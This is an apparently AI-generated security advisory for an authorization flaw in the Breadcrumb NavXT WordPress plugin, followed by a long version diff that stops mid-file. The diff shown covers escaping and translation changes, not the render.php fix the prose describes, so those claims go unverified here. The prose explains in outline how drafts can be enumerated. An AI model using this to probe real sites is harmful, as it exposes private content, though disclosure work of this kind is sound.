Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13842: Breadcrumb NavXT <= 7.5.0 – Missing Authorization to Sensitive Information Exposure (breadcrumb-navxt)

Severity Medium (CVSS 5.3)
CWE 639
Vulnerable Version 7.5.0
Patched Version 7.5.1
Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13842:
The Breadcrumb NavXT WordPress plugin version 7.5.0 and earlier contains an authorization bypass vulnerability in its Gutenberg block renderer. This vulnerability allows unauthenticated attackers to access breadcrumb trail data for draft and private posts, exposing sensitive post titles and hierarchical relationships. The issue receives a CVSS score of 5.3, indicating medium severity.

Atomic Edge research identifies the root cause in the plugin’s Gutenberg block rendering logic. The vulnerable file includes/blocks/build/breadcrumb-trail/render.php directly uses the user-controlled $_REQUEST[‘post_id’] parameter without performing any authorization checks. The render.php script passes this untrusted parameter to the plugin’s internal breadcrumb generation functions. The code does not verify whether the requesting user has permission to view the specified post, nor does it validate the post’s publication status.

Attackers exploit this vulnerability by sending HTTP requests to the WordPress site’s frontend or REST API endpoints that trigger the Gutenberg block rendering. The attacker manipulates the post_id parameter in the request to target draft, private, or pending review posts. No authentication is required. The attack vector uses the same request patterns as legitimate block rendering, but with unauthorized post_id values. The response reveals the breadcrumb trail HTML, which contains post titles and hierarchy information that should remain hidden.

Version 7.5.1 patches the vulnerability by implementing proper authorization checks before processing the post_id parameter. The patch adds a call to the WordPress core function current_user_can(‘read_post’, $post_id) to verify the user has permission to read the specified post. The render.php file now validates the post exists and is published before generating breadcrumbs. The fix ensures that only users with appropriate permissions can access breadcrumb data for non-public content.

Successful exploitation exposes sensitive information about unpublished WordPress content. Attackers can enumerate draft, private, and pending posts, revealing post titles, publication status, and hierarchical relationships between posts. This information disclosure can aid in targeted attacks, content theft, or reconnaissance for further exploitation. The vulnerability does not allow modification or deletion of content, but the exposed information may have competitive or privacy implications.

Differential between vulnerable and patched code

Code Diff
--- a/breadcrumb-navxt/breadcrumb-navxt.php
+++ b/breadcrumb-navxt/breadcrumb-navxt.php
@@ -3,7 +3,7 @@
 Plugin Name: Breadcrumb NavXT
 Plugin URI: http://mtekk.us/code/breadcrumb-navxt/
 Description: Adds a breadcrumb navigation showing the visitor's path to their current location. For details on how to use this plugin visit <a href="http://mtekk.us/code/breadcrumb-navxt/">Breadcrumb NavXT</a>.
-Version: 7.5.0
+Version: 7.5.1
 Author: John Havlik
 Author URI: http://mtekk.us/
 License: GPL2
@@ -33,7 +33,8 @@
 	//Only purpose of this function is to echo out the PHP version error
 	function bcn_phpold()
 	{
-		printf('<div class="notice notice-error"><p>' . esc_html__('Your PHP version is too old, please upgrade to a newer version. Your version is %1$s, Breadcrumb NavXT requires %2$s', 'breadcrumb-navxt') . '</p></div>', phpversion(), '5.6.0');
+		/* translators: %1$s: User's version of PHP, %2$s: Breadcrmb NavXT minimuum PHP version */
+		printf('<div class="notice notice-error"><p>' . esc_html__('Your PHP version is too old, please upgrade to a newer version. Your version is %1$s, Breadcrumb NavXT requires %2$s', 'breadcrumb-navxt') . '</p></div>', esc_html(phpversion()), '7.0.0');
 	}
 	//If we are in the admin, let's print a warning then return
 	if(is_admin())
@@ -63,7 +64,7 @@
 //TODO change to extends mtekkplugKit
 class breadcrumb_navxt
 {
-	const version = '7.5.0';
+	const version = '7.5.1';
 	protected $name = 'Breadcrumb NavXT';
 	protected $identifier = 'breadcrumb-navxt';
 	protected $unique_prefix = 'bcn';
@@ -354,6 +355,7 @@
 				__('Link Current Item', 'breadcrumb-navxt'));
 		$settings['Hpaged_template'] = new settingsetting_html(
 				'paged_template',
+				/* translators: %htitle%: The page title which may contain HTML */
 				sprintf('<span class="%%type%%">%1$s</span>', esc_attr__('Page %htitle%', 'breadcrumb-navxt')),
 				_x('Paged Template', 'Paged as in when on an archive or post that is split into multiple pages', 'breadcrumb-navxt'));
 		$settings['bpaged_display'] = new settingsetting_bool(
@@ -371,10 +373,12 @@
 			$settings['Hpost_' . $post_type->name . '_template'] = new settingsetting_html(
 					'post_' . $post_type->name . '_template',
 					bcn_breadcrumb::get_default_template(),
+					/* translators: %s: The singular name of the post type */
 					sprintf(__('%s Template', 'breadcrumb-navxt'), $post_type->labels->singular_name));
 			$settings['Hpost_' . $post_type->name . '_template_no_anchor'] = new settingsetting_html(
 					'post_' . $post_type->name . '_template_no_anchor',
 					bcn_breadcrumb::default_template_no_anchor,
+					/* translators: %s: The singular name of the post type */
 					sprintf(__('%s Template (Unlinked)', 'breadcrumb-navxt'), $post_type->labels->singular_name));
 			//Root default depends on post type
 			if($post_type->name === 'page')
@@ -392,6 +396,7 @@
 			$settings['apost_' . $post_type->name . '_root'] = new settingsetting_absint(
 					'post_' . $post_type->name . '_root',
 					$default_root,
+					/* translators: %s: The singular name of the post type */
 					sprintf(__('%s Root Page', 'breadcrumb-navxt'), $post_type->labels->singular_name));
 			//Archive display default depends on post type
 			if($post_type->has_archive == true || is_string($post_type->has_archive))
@@ -405,10 +410,12 @@
 			$settings['bpost_' . $post_type->name . '_archive_display'] = new settingsetting_bool(
 					'post_' . $post_type->name . '_archive_display',
 					$default_archive_display,
+					/* translators: %s: The singular name of the post type */
 					sprintf(__('%s Archive Display', 'breadcrumb-navxt'), $post_type->labels->singular_name));
 			$settings['bpost_' . $post_type->name . '_taxonomy_referer'] = new settingsetting_bool(
 					'post_' . $post_type->name . '_taxonomy_referer',
 					false,
+					/* translators: %s: The singular name of the post type */
 					sprintf(__('%s Hierarchy Referer Influence', 'breadcrumb-navxt'), $post_type->labels->singular_name));
 			//Hierarchy use parent first depends on post type
 			if(in_array($post_type->name, array('page', 'post')))
@@ -426,6 +433,7 @@
 			$settings['bpost_' . $post_type->name . '_hierarchy_parent_first'] = new settingsetting_bool(
 					'post_' . $post_type->name . '_hierarchy_parent_first',
 					$default_parent_first,
+					/* translators: %s: The singular name of the post type */
 					sprintf(__('%s Hierarchy Use Parent First', 'breadcrumb-navxt'), $post_type->labels->singular_name));
 			//Hierarchy depends on post type
 			if($post_type->name === 'page')
@@ -469,10 +477,12 @@
 			$settings['bpost_' . $post_type->name . '_hierarchy_display'] = new settingsetting_bool(
 					'post_' . $post_type->name . '_hierarchy_display',
 					$default_hierarchy_display,
+					/* translators: %s: The singular name of the post type */
 					sprintf(__('%s Hierarchy Display', 'breadcrumb-navxt'), $post_type->labels->singular_name));
 			$settings['Epost_' . $post_type->name . '_hierarchy_type'] = new settingsetting_enum(
 					'post_' . $post_type->name . '_hierarchy_type',
 					$hierarchy_type_default,
+					/* translators: %s: The singular name of the post type */
 					sprintf(__('%s Hierarchy Referer Influence', 'breadcrumb-navxt'), $post_type->labels->singular_name),
 					false,
 					false,
@@ -483,11 +493,14 @@
 		{
 			$settings['Htax_' . $taxonomy->name. '_template'] = new settingsetting_html(
 					'tax_' . $taxonomy->name. '_template',
-					__(sprintf('<span property="itemListElement" typeof="ListItem"><a property="item" typeof="WebPage" title="Go to the %%title%% %s archives." href="%%link%%" class="%%type%%" bcn-aria-current><span property="name">%%htitle%%</span></a><meta property="position" content="%%position%%"></span>', $taxonomy->labels->singular_name), 'breadcrumb-navxt'),
+					/* translators: %s: The singular name of the taxonomy */
+					sprintf('<span property="itemListElement" typeof="ListItem"><a property="item" typeof="WebPage" title="%s" href="%%link%%" class="%%type%%" bcn-aria-current><span property="name">%%htitle%%</span></a><meta property="position" content="%%position%%"></span>', sprintf(esc_attr__('Go to the %%title%% %s archives.', 'breadcrumb-navxt'), $taxonomy->labels->singular_name)),
+					/* translators: %s: The singular name of the taxonomy */
 					sprintf(__('%s Template', 'breadcrumb-navxt'), $taxonomy->labels->singular_name));
 			$settings['Htax_' . $taxonomy->name. '_template_no_anchor'] = new settingsetting_html(
 					'tax_' . $taxonomy->name. '_template_no_anchor',
 					bcn_breadcrumb::default_template_no_anchor,
+					/* translators: %s: The singular name of the taxonomy */
 					sprintf(__('%s Template (Unlinked)', 'breadcrumb-navxt'), $taxonomy->labels->singular_name));
 		}
 		//Miscellaneous
@@ -502,12 +515,14 @@
 		$settings['Hsearch_template'] = new settingsetting_html(
 				'search_template',
 				sprintf('<span property="itemListElement" typeof="ListItem"><span property="name">%1$s</span><meta property="position" content="%%position%%"></span>',
+						/* translators: %s: The searched phrase */
 						sprintf(esc_attr__('Search results for '%1$s'', 'breadcrumb-navxt'),
 								sprintf('<a property="item" typeof="WebPage" title="%1$s" href="%%link%%" class="%%type%%" bcn-aria-current>%%htitle%%</a>', esc_attr__('Go to the first page of search results for %title%.', 'breadcrumb-navxt')))),
 				__('Search Template', 'breadcrumb-navxt'));
 		$settings['Hsearch_template_no_anchor'] = new settingsetting_html(
 				'search_template_no_anchor',
 				sprintf('<span class="%%type%%">%1$s</span>',
+						/* translators: %s: The searched phrase */
 						sprintf(esc_attr__('Search results for '%1$s'', 'breadcrumb-navxt'), '%htitle%')),
 				__('Search Template (Unlinked)', 'breadcrumb-navxt'));
 		$settings['Hdate_template'] = new settingsetting_html(
@@ -521,12 +536,14 @@
 		$settings['Hauthor_template'] = new settingsetting_html(
 				'author_template',
 				sprintf('<span property="itemListElement" typeof="ListItem"><span property="name">%1$s</span><meta property="position" content="%%position%%"></span>',
+						/* translators: %s: The post author name the current archive is for */
 						sprintf(esc_attr__('Articles by: %1$s', 'breadcrumb-navxt'),
 								sprintf('<a title="%1$s" href="%%link%%" class="%%type%%" bcn-aria-current>%%htitle%%</a>', esc_attr__('Go to the first page of posts by %title%.', 'breadcrumb-navxt')))),
 				__('Author Template', 'breadcrumb-navxt'));
 		$settings['Hauthor_template_no_anchor'] = new settingsetting_html(
 				'author_template_no_anchor',
 				sprintf('<span class="%%type%%">%1$s</span>',
+						/* translators: %s: The post author name the current archive is for */
 						sprintf(esc_attr__('Articles by: %1$s', 'breadcrumb-navxt'), '%htitle%')),
 				__('Author Template (Unlinked)', 'breadcrumb-navxt'));
 		$settings['aauthor_root'] = new settingsetting_absint(
@@ -593,16 +610,14 @@
 			}
 			//Generate the breadcrumb trail
 			$this->breadcrumb_trail->fill_REST($post);
-			$trail_string = $this->breadcrumb_trail->display($linked, $reverse, $template);
+			$trail_string_safe = $this->breadcrumb_trail->display($linked, $reverse, $template);
 			if($return)
 			{
-				return $trail_string;
+				return $trail_string_safe;
 			}
 			else
 			{
-				//Helps track issues, please don't remove it
-				$credits = "<!-- Breadcrumb NavXT " . $this::version . " -->n";
-				echo $credits . $trail_string;
+				echo $trail_string_safe;
 			}
 		}
 	}
@@ -672,16 +687,14 @@
 		}
 		//Generate the breadcrumb trail
 		$this->breadcrumb_trail->fill($force);
-		$trail_string = $this->breadcrumb_trail->display($linked, $reverse, $template, $outer_template);
+		$trail_string_safe = $this->breadcrumb_trail->display($linked, $reverse, $template, $outer_template);
 		if($return)
 		{
-			return $trail_string;
+			return $trail_string_safe;
 		}
 		else
 		{
-			//Helps track issues, please don't remove it
-			$credits = "<!-- Breadcrumb NavXT " . $this::version . " -->n";
-			echo $credits . $trail_string;
+			echo $trail_string_safe;
 		}
 	}
 	/**
@@ -721,14 +734,14 @@
 		}
 		//Generate the breadcrumb trail
 		$this->breadcrumb_trail->fill($force);
-		$trail_string = json_encode($this->breadcrumb_trail->display_json_ld($reverse), JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
+		$trail_string_safe = wp_json_encode($this->breadcrumb_trail->display_json_ld($reverse), JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
 		if($return)
 		{
-			return $trail_string;
+			return $trail_string_safe;
 		}
 		else
 		{
-			echo $trail_string;
+			echo $trail_string_safe;
 		}
 	}
 }
--- a/breadcrumb-navxt/class.bcn_admin.php
+++ b/breadcrumb-navxt/class.bcn_admin.php
@@ -23,7 +23,8 @@
 	//Only purpose of this function is to echo out the PHP version error
 	function bcn_phpold()
 	{
-		printf('<div class="notice notice-error"><p>' . __('Your PHP version is too old, please upgrade to a newer version. Your version is %1$s, Breadcrumb NavXT requires %2$s', 'breadcrumb-navxt') . '</p></div>', phpversion(), '5.6.0');
+		/* translators: %1$s: User's version of PHP, %2$s: Breadcrmb NavXT minimuum PHP version */
+		printf('<div class="notice notice-error"><p>' . esc_html__('Your PHP version is too old, please upgrade to a newer version. Your version is %1$s, Breadcrumb NavXT requires %2$s', 'breadcrumb-navxt') . '</p></div>', esc_html(phpversion()), '7.0.0');
 	}
 	//If we are in the admin, let's print a warning then return
 	if(is_admin())
@@ -59,7 +60,7 @@
 	 * @param string $basename The basename of the plugin
 	 * @param array $settings The array of settings objects
 	 */
-	function __construct(array &$opts, $basename, array &$settings)
+	public function __construct(array &$opts, $basename, array &$settings)
 	{
 		$this->plugin_basename = $basename;
 		$this->full_name = esc_html__('Breadcrumb NavXT Settings', 'breadcrumb-navxt');
@@ -68,7 +69,7 @@
 		//We're going to make sure we load the parent's constructor
 		parent::__construct();
 	}
-	function is_network_admin()
+	public function is_network_admin()
 	{
 		return false;
 	}
@@ -77,7 +78,7 @@
 	 *
 	 * @param array $opts The opts array
 	 */
-	function setting_merge($opts)
+	public function setting_merge($opts)
 	{
 		$unknown = array();
 		foreach($opts as $key => $value)
@@ -105,7 +106,8 @@
 		if(count($unknown) > 0)
 		{
 			$this->messages[] = new message(
-					sprintf(__('Found %u unknown legacy settings: %s','breadcrumb-navxt'), count($unknown), implode(', ', $unknown)),
+					/* translators: %u: Number of unknown legacy settings found, %s: comma separated list of the setting names */
+					sprintf(__('Found %1$u unknown legacy settings: %2$s','breadcrumb-navxt'), count($unknown), implode(', ', $unknown)),
 					'warning',
 					true,
 					'bcn_unknown_legacy_settings');
@@ -119,7 +121,7 @@
 	 * @since  3.2.0
 	 * @return void
 	 */
-	function init()
+	public function init()
 	{
 		//We're going to make sure we run the parent's version of this function as well
 		parent::init();
@@ -131,7 +133,7 @@
 	 * @param array $opts
 	 * @param string $version the version of the passed in options
 	 */
-	function opts_upgrade($opts, $version)
+	public function opts_upgrade($opts, $version)
 	{
 		//If our version is not the same as in the db, time to update
 		if(version_compare($version, $this::version, '<'))
@@ -147,7 +149,7 @@
 	 *
 	 * @param WP_Screen $screen The screen to add the help tab items to
 	 */
-	function help_contents(WP_Screen &$screen)
+	public function help_contents(WP_Screen &$screen)
 	{
 		$general_tab = '<p>' . esc_html__('Tips for the settings are located below select options.', 'breadcrumb-navxt') .
 				'</p><h5>' . esc_html__('Resources', 'breadcrumb-navxt') . '</h5><ul><li>' .
@@ -215,14 +217,14 @@
 	/**
 	 * enqueue's the tab style sheet on the settings page
 	 */
-	function admin_styles()
+	public function admin_styles()
 	{
 		wp_enqueue_style('mtekk_adminkit_tabs');
 	}
 	/**
 	 * enqueue's the tab js and translation js on the settings page
 	 */
-	function admin_scripts()
+	public function admin_scripts()
 	{
 		//Enqueue ui-tabs
 		wp_enqueue_script('jquery-ui-tabs');
@@ -241,7 +243,7 @@
 	/**
 	 * A message function that checks for the BCN_SETTINGS_* define statement
 	 */
-	function multisite_settings_warn()
+	public function multisite_settings_warn()
 	{
 		if(is_multisite())
 		{
@@ -271,15 +273,16 @@
 	/**
 	 * A message function that checks for deprecated settings that are set and warns the user
 	 */
-	function deprecated_settings_warn()
+	public function deprecated_settings_warn()
 	{
 		//We're deprecating the limit title length setting, let the user know the new method of accomplishing this
 		if(isset($this->settings['blimit_title']) && $this->settings['blimit_title']->get_value())
 		{
 			$this->messages[] = new message(
 					sprintf(
+							/* translators: %1$s: HTML opening tag for link to article, %2$s: HTML closing tag for link to article */
 							esc_html__('Error: The deprecated setting "Title Length" (see Miscellaneous > Deprecated) has no effect in this version Breadcrumb NavXT. Please %1$suse CSS instead%2$s.', 'breadcrumb-navxt'),
-							'<a title="' . __('Go to the guide on trimming breadcrumb title lengths with CSS', 'breadcrumb-navxt') . '" href="https://mtekk.us/archives/guides/trimming-breadcrumb-title-lengths-with-css/">', '</a>'),
+							'<a title="' . esc_attr__('Go to the guide on trimming breadcrumb title lengths with CSS', 'breadcrumb-navxt') . '" href="https://mtekk.us/archives/guides/trimming-breadcrumb-title-lengths-with-css/">', '</a>'),
 					'error');
 		}
 		foreach($this->settings as $key => $setting)
@@ -305,6 +308,7 @@
 					$setting_link = sprintf('<a href="#%1$s">%2$s</a>', $key, $setting->get_title());
 					$this->messages[] = new message(
 							sprintf(
+									/* translators: %1$s: Name of the deprecated template tag found, %2$s: Recommended replacement tag for the deprecated tag, %3$s: The setting name where the deprecated tag was found */
 									esc_html__('Error: The deprecated template tag %1$s found in setting %3$s. Please use %2$s instead.', 'breadcrumb-navxt'),
 									implode(' and ', $deprecated_tags),
 									implode(' and ', $replacement_tags),
@@ -317,7 +321,7 @@
 	/**
 	 * A message function that checks for post types added after the settings defaults were established
 	 */
-	function unknown_custom_types_warn()
+	public function unknown_custom_types_warn()
 	{
 		foreach($GLOBALS['wp_post_types'] as $post_type)
 		{
@@ -325,6 +329,7 @@
 			{
 				$this->messages[] = new message(
 						sprintf(
+							/* translators: %1$s: Export of the post_type object of the unexpected CPT */
 							esc_html__('Error: WP_Post_Types global contains non WP_Post_Type object. Debug information: %1$s', 'breadcrumb-navxt'),
 							var_export($post_type, true)),
 						'error',
@@ -337,6 +342,7 @@
 			{
 				$this->messages[] = new message(
 						sprintf(
+								/* translators: %1$s: Post type singular name, %2$s: Post type name */
 								esc_html__('Warning: The post type %1$s (%2$s) was registered after the Breadcrumb NavXT default settings. It will not show up in the settings.', 'breadcrumb-navxt'),
 								$post_type->labels->singular_name,
 								$post_type->name),
@@ -352,6 +358,7 @@
 				//If we haven't seen this taxonomy before, warn the user
 				$this->messages[] = new message(
 						sprintf(
+								/* translators: %1$s: Export of the taxonomy object of the unexpected custom taxonomy */
 								esc_html__('Error: WP_Taxonomies global contains non WP_Taxonomy object. Debug information: %1$s', 'breadcrumb-navxt'),
 								var_export($taxonomy, true)),
 						'error',
@@ -364,6 +371,7 @@
 				//If we haven't seen this taxonomy before, warn the user
 				$this->messages[] = new message(
 						sprintf(
+								/* translators: %1$s: Taxonomy label, %2$s: Taxonomy name */
 								esc_html__('Warning: The taxonomy %1$s (%2$s) was registered after the Breadcrumb NavXT default settings. It will not show up in the settings.', 'breadcrumb-navxt'),
 								$taxonomy->label,
 								$taxonomy->name),
@@ -378,7 +386,7 @@
 	 *
 	 * @return boool Whether or not the blog options should be disabled
 	 */
-	function maybe_disable_blog_options()
+	public function maybe_disable_blog_options()
 	{
 		return (get_option('show_on_front') !== 'page' || get_option('page_for_posts') < 1);
 	}
@@ -387,14 +395,14 @@
 	 *
 	 * @return bool Whether or not the mainsite options should be disabled
 	 */
-	function maybe_disable_mainsite_options()
+	public function maybe_disable_mainsite_options()
 	{
 		return !is_multisite();
 	}
 	/**
 	 * The administrative page for Breadcrumb NavXT
 	 */
-	function admin_page()
+	public function admin_page()
 	{
 		global $wp_taxonomies, $wp_post_types;
 		$this->security();
@@ -431,7 +439,7 @@
 			}
 		}
 		?>
-		<div class="wrap"><h1><?php echo $this->full_name; ?></h1>
+		<div class="wrap"><h1><?php echo esc_html($this->full_name); ?></h1>
 		<?php
 		//We exit after the version check if there is an action the user needs to take before saving settings
 		if(!$this->version_check($this->get_option($this->unique_prefix . '_version')))
@@ -439,19 +447,19 @@
 			return;
 		}
 		?>
-		<form action="<?php echo $this->admin_url(); ?>" method="post" id="bcn_admin-options">
+		<form action="<?php echo esc_attr($this->admin_url()); ?>" method="post" id="bcn_admin-options">
 			<?php settings_fields('bcn_options');?>
 			<div id="hasadmintabs">
 			<fieldset id="general" class="bcn_options">
-				<legend class="screen-reader-text" data-title="<?php _e( 'A collection of settings most likely to be modified are located under this tab.', 'breadcrumb-navxt' );?>"><?php _e( 'General', 'breadcrumb-navxt' ); ?></legend>
-				<h2><?php _e('General', 'breadcrumb-navxt'); ?></h2>
+				<legend class="screen-reader-text" data-title="<?php esc_attr_e( 'A collection of settings most likely to be modified are located under this tab.', 'breadcrumb-navxt' );?>"><?php esc_html_e( 'General', 'breadcrumb-navxt' ); ?></legend>
+				<h2><?php esc_html_e('General', 'breadcrumb-navxt'); ?></h2>
 				<table class="form-table">
 					<?php
 						$this->form->textbox($this->settings['hseparator'], '2', false, __('Placed in between each breadcrumb.', 'breadcrumb-navxt') . $overridden['hseparator'], $overridden_style['hseparator']);
 						do_action($this->unique_prefix . '_settings_general', $this->settings);
 					?>
 				</table>
-				<h2><?php _e('Current Item', 'breadcrumb-navxt'); ?></h2>
+				<h2><?php esc_html_e('Current Item', 'breadcrumb-navxt'); ?></h2>
 				<table class="form-table adminkit-enset-top">
 					<?php
 						$this->form->input_check(
@@ -475,7 +483,7 @@
 						do_action($this->unique_prefix . '_settings_current_item', $this->settings);
 					?>
 				</table>
-				<h2><?php _e('Home Breadcrumb', 'breadcrumb-navxt'); ?></h2>
+				<h2><?php esc_html_e('Home Breadcrumb', 'breadcrumb-navxt'); ?></h2>
 				<table class="form-table adminkit-enset-top">
 					<?php
 						$this->form->input_check(
@@ -499,7 +507,7 @@
 						do_action($this->unique_prefix . '_settings_home', $this->settings);
 					?>
 				</table>
-				<h2><?php _e('Blog Breadcrumb', 'breadcrumb-navxt'); ?></h2>
+				<h2><?php esc_html_e('Blog Breadcrumb', 'breadcrumb-navxt'); ?></h2>
 				<table class="form-table adminkit-enset-top">
 					<?php
 						$this->form->input_check(
@@ -511,7 +519,7 @@
 						do_action($this->unique_prefix . '_settings_blog', $this->settings);
 					?>
 				</table>
-				<h2><?php _e('Mainsite Breadcrumb', 'breadcrumb-navxt'); ?></h2>
+				<h2><?php esc_html_e('Mainsite Breadcrumb', 'breadcrumb-navxt'); ?></h2>
 				<table class="form-table adminkit-enset-top">
 					<?php
 						$this->form->input_check(
@@ -538,7 +546,7 @@
 				<?php do_action($this->unique_prefix . '_after_settings_tab_general', $this->settings); ?>
 			</fieldset>
 			<fieldset id="post" class="bcn_options">
-				<legend class="screen-reader-text" data-title="<?php _e( 'The settings for all post types (Posts, Pages, and Custom Post Types) are located under this tab.', 'breadcrumb-navxt' );?>"><?php _e( 'Post Types', 'breadcrumb-navxt' ); ?></legend>
+				<legend class="screen-reader-text" data-title="<?php esc_attr_e( 'The settings for all post types (Posts, Pages, and Custom Post Types) are located under this tab.', 'breadcrumb-navxt' );?>"><?php esc_html_e( 'Post Types', 'breadcrumb-navxt' ); ?></legend>
 			<?php
 			//Loop through all of the post types in the array
 			foreach($wp_post_types as $post_type)
@@ -550,19 +558,21 @@
 				}
 				$singular_name_lc = mb_strtolower($post_type->labels->singular_name, 'UTF-8');
 				?>
-				<h2><?php echo $post_type->labels->singular_name; ?></h2>
+				<h2><?php echo esc_html($post_type->labels->singular_name); ?></h2>
 				<table class="form-table adminkit-enset-top">
 					<?php
 						$this->form->textbox(
 								$this->settings['Hpost_' . $post_type->name . '_template'],
 								'6',
 								false,
+								/* translators: %s: Singular name for the CPT */
 								sprintf(__('The template for %s breadcrumbs.', 'breadcrumb-navxt'), $singular_name_lc) . $overridden['Hpost_' . $post_type->name . '_template'],
 								$overridden_style['Hpost_' . $post_type->name . '_template']);
 						$this->form->textbox(
 								$this->settings['Hpost_' . $post_type->name . '_template_no_anchor'],
 								'4',
 								false,
+								/* translators: %s: Singular name for the CPT */
 								sprintf(__('The template for %s breadcrumbs, used only when the breadcrumb is not linked.', 'breadcrumb-navxt'), $singular_name_lc) . $overridden['Hpost_' . $post_type->name . '_template_no_anchor'],
 								$overridden_style['Hpost_' . $post_type->name . '_template_no_anchor']);
 						if(!in_array($post_type->name, array('page', 'post')))
@@ -570,8 +580,8 @@
 						$optid = form::get_valid_id('apost_' . $post_type->name . '_root');
 					?>
 					<tr valign="top">
-						<th scope="row">
-							<label for="<?php echo $optid;?>"><?php printf(esc_html__('%s Root Page', 'breadcrumb-navxt'), $post_type->labels->singular_name);?></label>
+						<th scope="row"><?php /* translators: %s: Singular name for the CPT */ ?>
+							<label for="<?php echo esc_attr($optid);?>"><?php printf(esc_html__('%s Root Page', 'breadcrumb-navxt'), esc_html($post_type->labels->singular_name));?></label>
 						</th>
 						<td>
 							<?php wp_dropdown_pages( apply_filters(
@@ -579,7 +589,7 @@
 										array('name' => $this->unique_prefix . '_options[apost_' . $post_type->name . '_root]',
 											'id' => $optid,
 											'echo' => 1,
-											'show_option_none' => __( '— Select —' ),
+											'show_option_none' => esc_attr__('— Select —', 'breadcrumb-navxt'),
 											'option_none_value' => '0',
 											'selected' => $this->settings['apost_' . $post_type->name . '_root']->get_value(),
 											'class' => $overridden_style['apost_' . $post_type->name . '_root']),
@@ -587,14 +597,15 @@
 									));
 							if(isset($overridden['apost_' . $post_type->name . '_root']) && $overridden['apost_' . $post_type->name . '_root'] !== '')
 							{
-								printf('<p class="description">%s</p>', $overridden['apost_' . $post_type->name . '_root']);
+								printf('<p class="description">%s</p>', esc_html($overridden['apost_' . $post_type->name . '_root']));
 							}
 							?>
 						</td>
 					</tr>
 					<?php
-							$this->form->input_check(
+						$this->form->input_check(
 									$this->settings['bpost_' . $post_type->name . '_archive_display'],
+									/* translators: %s: Post type singlar name */
 									sprintf(__('Show the breadcrumb for the %s post type archives in the breadcrumb trail.', 'breadcrumb-navxt'), $singular_name_lc),
 									!$post_type->has_archive,
 									$overridden['bpost_' . $post_type->name . '_archive_display'],
@@ -610,12 +621,14 @@
 						{
 							$this->form->input_check(
 									$this->settings['bpost_' . $post_type->name . '_hierarchy_display'],
+									/* translators: %s: Singular name for the CPT */
 									sprintf(__('Show the hierarchy (specified below) leading to a %s in the breadcrumb trail.', 'breadcrumb-navxt'), $singular_name_lc),
 									false,
 									$overridden['bpost_' . $post_type->name . '_hierarchy_display'],
 									'adminkit-enset-ctrl adminkit-enset' . $overridden_style['bpost_' . $post_type->name . '_hierarchy_display']);
 							$this->form->input_check(
 									$this->settings['bpost_' . $post_type->name . '_hierarchy_parent_first'],
+									/* translators: %s: Singular name for the CPT */
 									sprintf(__('Use the parent of the %s as the primary hierarchy, falling back to the hierarchy selected below when the parent hierarchy is exhausted.', 'breadcrumb-navxt'), $singular_name_lc),
 									false,
 									$overridden['bpost_' . $post_type->name . '_hierarchy_parent_first'],
@@ -629,7 +642,8 @@
 					?>
 					<tr valign="top">
 						<th scope="row">
-							<?php printf(__('%s Hierarchy', 'breadcrumb-navxt'), $post_type->labels->singular_name); ?>
+							<?php /* translators: %s: Singular name for the CPT */
+							printf(esc_html__('%s Hierarchy', 'breadcrumb-navxt'), esc_html($post_type->labels->singular_name)); ?>
 						</th>
 						<td>
 							<?php
@@ -661,7 +675,7 @@
 							{
 								esc_html_e('The hierarchy which the breadcrumb trail will show. Note that the "Post Parent" option may require an additional plugin to behave as expected since this is a non-hierarchical post type.', 'breadcrumb-navxt');
 							}
-							echo $overridden['Epost_' . $post_type->name . '_hierarchy_type'];
+							echo esc_html($overridden['Epost_' . $post_type->name . '_hierarchy_type']);
 							?>
 							</p>
 						</td>
@@ -676,7 +690,7 @@
 			?>
 			</fieldset>
 			<fieldset id="tax" class="bcn_options alttab">
-				<legend class="screen-reader-text" data-title="<?php _e( 'The settings for all taxonomies (including Categories, Tags, and custom taxonomies) are located under this tab.', 'breadcrumb-navxt' );?>"><?php _e( 'Taxonomies', 'breadcrumb-navxt' ); ?></legend>
+				<legend class="screen-reader-text" data-title="<?php esc_attr_e( 'The settings for all taxonomies (including Categories, Tags, and custom taxonomies) are located under this tab.', 'breadcrumb-navxt' );?>"><?php esc_html_e( 'Taxonomies', 'breadcrumb-navxt' ); ?></legend>
 			<?php
 			//Loop through all of the taxonomies in the array
 			foreach($wp_taxonomies as $taxonomy)
@@ -688,19 +702,21 @@
 				}
 				$label_lc = mb_strtolower($taxonomy->label, 'UTF-8');
 				?>
-				<h2><?php echo mb_convert_case($taxonomy->label, MB_CASE_TITLE, 'UTF-8'); ?></h2>
+				<h2><?php echo esc_html(mb_convert_case($taxonomy->label, MB_CASE_TITLE, 'UTF-8')); ?></h2>
 				<table class="form-table">
 					<?php
 						$this->form->textbox(
 								$this->settings['Htax_' . $taxonomy->name . '_template'],
 								'6',
 								false,
+								/* translators: %s: Taxonomy name*/
 								sprintf(__('The template for %s breadcrumbs.', 'breadcrumb-navxt') . $overridden['Htax_' . $taxonomy->name . '_template'], $label_lc),
 								$overridden_style['Htax_' . $taxonomy->name . '_template']);
 						$this->form->textbox(
 								$this->settings['Htax_' . $taxonomy->name . '_template_no_anchor'],
 								'4',
 								false,
+								/* translators: %s: Taxonomy name */
 								sprintf(__('The template for %s breadcrumbs, used only when the breadcrumb is not linked.', 'breadcrumb-navxt') . $overridden['Htax_' . $taxonomy->name . '_template_no_anchor'], $label_lc),
 								$overridden_style['Htax_' . $taxonomy->name . '_template_no_anchor']);
 					?>
@@ -710,8 +726,8 @@
 			do_action($this->unique_prefix . '_after_settings_tab_taxonomy', $this->settings); ?>
 			</fieldset>
 			<fieldset id="miscellaneous" class="bcn_options">
-				<legend class="screen-reader-text" data-title="<?php _e( 'The settings for author and date archives, searches, and 404 pages are located under this tab.', 'breadcrumb-navxt' );?>"><?php _e( 'Miscellaneous', 'breadcrumb-navxt' ); ?></legend>
-				<h2><?php _e('Author Archives', 'breadcrumb-navxt'); ?></h2>
+				<legend class="screen-reader-text" data-title="<?php esc_attr_e( 'The settings for author and date archives, searches, and 404 pages are located under this tab.', 'breadcrumb-navxt' );?>"><?php esc_html_e( 'Miscellaneous', 'breadcrumb-navxt' ); ?></legend>
+				<h2><?php esc_html_e('Author Archives', 'breadcrumb-navxt'); ?></h2>
 				<table class="form-table">
 					<?php
 						$this->form->textbox(
@@ -736,27 +752,27 @@
 					?>
 					<tr valign="top">
 						<th scope="row">
-							<label for="<?php echo $optid;?>"><?php esc_html_e('Author Root Page', 'breadcrumb-navxt');?></label>
